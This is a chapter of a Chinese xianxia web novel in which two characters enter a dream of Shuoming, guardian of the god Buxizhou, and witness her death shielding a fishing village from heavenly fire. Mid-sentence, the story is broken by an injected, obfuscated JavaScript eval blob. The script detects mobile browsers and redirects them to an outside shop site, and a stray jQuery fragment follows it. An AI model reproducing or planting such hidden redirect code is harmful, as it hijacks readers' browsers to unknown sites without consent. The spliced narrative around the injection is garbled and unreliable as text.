“为不系舟?”云星迴疑惑,“姑姑,这洞天还能为他者凝聚啊?朔溟……又是谁?”
虽他此前已在不系舟口中听过这个名字,但此时为了不牵扯更多,也只得先瞒一瞒祝愿儿了。
“嗯,凝聚时洞天时,可以发愿为何祈福,为谁祈福。”祝愿儿贴心的解释道:“而朔溟便是不系舟的护道人,鲲。”
少女垂眸,“但朔溟已然身死,这大椿树的长生之愿自然是未落在她身上。反观不系舟自第八纪元存活至今,应是受了此洞天庇佑。”
云星迴暗忖,原来如此,那不系舟的愤怒便可以理解了。
一位为他付出至此的人,自然有权让他陷入那般的癫狂。
且姑姑既说朔溟已然身死,那不系舟口中那所谓的最后一丝残存星力……
便是他最后的念想了。
“也就是说,那位朔溟用不系舟的神力,加之自己的神识,保住了不系舟的性命?”云星迴问。
“但不系舟已被废黜,身上理应再无神力。许是朔溟利用了不系舟体内的其他力量吧。”红衣少女望向这冰雪世界里格格不入的苍翠树叶,说道:“这洞天历经数个纪元都未曾改变,凝聚时,应是耗费了极强的神识。”
云星迴越着这些,脑海中不断回想着方才不系舟那崩溃失控的样子。
不过,若真是数个纪元,这最先来到云汉圃的,竟不是春杳杳,也不是月无渡。
而是不系舟!
“姑姑,咱这云汉圃也忒热闹了……”少年掰着手指数道:“不系舟,春杳杳,月无渡……藏在这的神仙,光咱们知道的,都有三个了。”
“这话从你说出来,显得更有意思了。”祝愿儿右手折了一根拇指向内,“你确定只有三个?”
“不,”云星迴又开始数,“姑姑,是八个。”
“一共十二个道胎神明,八个都在咱们这啊?”祝愿儿瞪大眼睛。
“是前面那三位,加上姑姑你们五位。”云星迴微笑着回应道:“姑姑你不知道吧,我小时候可是写过‘星垂野,月照田,云圃村里藏神仙。’这样的话呢。”
“迴儿如今都会哄我们开心了。”红衣少女踮起脚尖,揉了揉少年的乱发,顺手掸掉他头上的落雪。
“姑姑如今带我来这里,应该不只是为了介绍这个洞天吧。”
“我曾与你婴城叔叔曾行至一处山洞,内里供奉着鲲的北冥玉骨,当时异象丛生,最终鲲的遗志化作水花礼赞落在我们身上,自那以后,不知何故,我时常梦到鲲,最后借着这水珠指引,发现了此处。”
祝愿儿抬手,于掌心化出一晶莹水珠,“我曾凭这信物,多次与此大椿树共鸣,得以窥见朔溟,也就是鲲的回忆片段。”
云星迴心想,山洞?北冥玉骨?
果然,一切都与不系舟在星药野提到的不谋而合。
或许,这是正了解他的好机会。
“迴儿,你小时候,不系舟曾将他护道人,朔溟所化的羽化神衣赠予你,你可还记得?”祝愿儿问。
“记得的,姑姑,我当时还以为自己要死掉了,还特别担心第二天没法去摘蘑菇了来着。”云星迴顺着祝愿儿所言,想起了他与那草垛怪人的初次见面。
他忽然觉得,相比之下,如今的不系舟虽只现身了一瞬,但似乎已经恢复清明神识。
但看起来,却比他们初见时要痛苦上无数倍。
他心绪翻涌:
疯狂?清醒?
遗忘,铭记。
到底哪一种更好?
红衣少女牵起云星迴的手,“如今,一则我希望你能随我一起去看看那记忆中的片段。二则,我也希望借你身上的朔溟气息,你我能得见更完整的回忆。”
“好,姑姑。”
红衣少女托着水珠与云星迴合掌,“随我一同入梦。”
梦中。
“朔溟姐姐!”一个十几岁的粗衣少女朝着海边喊去。
循声望去,有位青琉璃般的女子在岸边桥头坐着。
星河为幕下,她的珊瑚冠上珠链轻摇。
“华儿!”女子起身,引动海中皎皎月色化作辉光,覆在了她的裙摆的鲛绡上。
“太好了,”名为华儿的少女以笑眼看向朔溟:“不系舟神君说,这永夜海或可使我们这些不为世间所容的悖道者,有了避难的去处。”
朔溟垂下海蓝色的双眸,“若不是我作为水神转世时逢生意外,扰动了悬镜天地脉,又怎会使部分族人沾染玄牝气息,化作悖道者……这一切都是因为我。”
华儿牵起朔溟的双手,放在胸前:“朔溟姐姐,所谓意外,本就是意料之外,又怎能怪到你的头上呢。况且,也多亏不系舟神君念及姐姐情分,才能让我们暂免于被肃清,寻得喘息之机。”
少女边说话,边正了正绣着珠蚌样式的头巾,“神君前一阵不还说,他正在那世界尽头铁围山下参悟,或不日便可寻得救治悖道者的方法,”少女双眸如墨珠,因言语中的希望而更添风采:“若真得了此法,到时候神君也不用再去肃清,或许你们就可以化作神仙眷侣,行走世……”
“胡言!”朔溟闻言厉声喝去,竟一时失了神女的仪态。
但见华儿被她吓得失神,又慌忙抽出被华儿握住的手,背过身去,缓缓说道:“我和他之间没有情分,护道人对于道胎,只有守护。他之所以这般行事,只是出于神明的救世仁心,不想无辜之人枉受肃清罢了!”
“姐姐你不要骗我了,我为你所救后,便一直伴你身侧,难道这还看不出来?”少女华儿像是有些负气似的,双臂抱胸说道:“神君对你常吹的那曲埙音,连我一个妖都听出了其中情感。”
朔溟看着华儿那透着耿直率真的朗目星眉,无奈笑了。
但为了免于纠缠,神女不再回应华儿,目光穿过少女望向她身后的渔村,转而说道:“这些时日多亏了你化身当地人,替我守着这里。”
言语间,神女忽而面色凝重,“华儿,村中为何有火光?”
“哦,无碍的姐姐,”少女语气轻松:“那是海灯节前的祭祀仪式,虽已离开水域来到这小村子,但劫后余生,族人们自是想着也多少也按照家乡旧例庆祝一番,去去晦气。”
华儿晃着脚说道:“张伯刚才还一直拉着我放烟花,我可是好不容易才溜出来见你的!”
“不……不!”朔溟语气忽而变得惊慌。
神女顾不上身边的华儿,向夜空中纵身一跃,瞬间化作星光巨鲲,搅动天幕为急涛,向小村子游弋而去。
她眸中倒映着,划过天空的数道光辉。
但朔溟知道,这绝美光景后,是洪钧老祖斥下的无情天道。
只因那是噬魂天火!
悖道者若是被肃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883321|212229||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
清,虽会化作行尸走肉,但待寿尽之时,仍可转世以求重新来过。
可若是无情天火,魂魄会被碎为齑粉,飘溢至世界边缘,成为铁围山内古魔的饲料。
须臾间,噬肉磨骨之痛,让原本宁静祥和的村落直堕喧嚣炼狱。
神女幻化的巨鲲在夜空中拖曳摆尾,想要以神躯庇佑族人。
可流火如无数弹丸穿透其身,整个村落如受炙烤,散发出血肉被烧焦后的苦味。
“洪钧老祖,诸番作为皆系于我一人,我愿泣血焚身,以神血滋养此地地脉,以求后世安宁!”巨鲲拍尾而上,直面天火。
但空中没有任何回应,只是依旧降下神罚。
“老祖,不系舟神君是受我迷惑,才私藏罪民于此地。他并非忘记本责,有意逆天而行!”
可巨鲲这响彻天地的恸呼却似投石入海一般,被淹没在那越来越密的火雨之中。
这沉默本身便是一种回答。
神不在乎。
“洪钧!”巨鲲眼角渗出血泪,转而仰天痛斥:“你可知这世界,何其荒唐可笑!”
“你妄图以铁围山阻隔玄牝,以须弥星梯钉死纲常。殊不知,桩桩件件,皆是源于你心底的恐惧!世间小小悖道者,便让你这世界之主,如惊弓之鸟般降下天罚,何其无耻!”
当巨鲲说到玄牝二字时,流火在空中骤停,转而又徐徐融合,似是要汇聚成荧惑妖星般的火球,施以更大的惩戒。
“朔溟姐姐!你为何要激怒他,以己之身担下我们的罪!”华儿也赶来,嘶声裂肺般的挑衅喊到:“洪钧老狗,此地遗民虽沾染玄牝气息,但他们所求只是避世度日,几时能威胁得到你?你身为创世之主,竟风声鹤唳般容不得下一村平民,你就这么怕吗?!”
“住嘴!”巨鲲挥动羽翅,一阵猛风将华儿袭晕,化作珠蚌原形。
朔溟远望,那缓缓如日轮般落下的火球本是朝着自己落下,如今华儿对洪钧的一番奚落下,又被引去了华儿与村民所在之处。
只见那巨鲲振散体内星穴,光点逸散间形成锁灵大阵覆在这渔村之上,同时又将全身骨节自血肉中剥离而出,化作无数冰锥朝火球猛猛射去。
天火火球虽猛,但面对以北冥玉骨为体的攻击,也逐渐开裂。
为了这一击,巨鲲不仅血肉已碎,渗入地下;神魂更是在护村阵法中濒临溃散!
就在这时,一声不能更熟悉的呼唤自空中传来。
“朔溟!”
聆听着这声呼唤,朔溟好像看见了初降世时的不系舟。
他追在退斋先生身后,奶声奶气地说道:“朔溟,你快帮帮我呀,先生抢了我的诗簿。”
朔溟疲惫地眨眨眼,轻叹出吊着的最后一口气,虚弱的回应,穿越了时光。
“好,这次我来帮你。”
神女再也维系不住巨鲲法身,自空中坠落。
但她血骨已去,飘飘落下之时,就像一只被凶鹰玩弄折磨后,浑身是血的雏鸟。
霎时间,先是那白玉月被冰封为琉璃盘,转而埙声幽幽,震碎冰月。
而自其中破月而出的,便是当世神君不系舟!
他蓝色衣袂随风飘动,在其身后如昙花一放。
蓝衣男子以身拥住她,竟发现她已轻的如一缕残魂,“朔……朔溟,我还是晚了。”
“不晚……”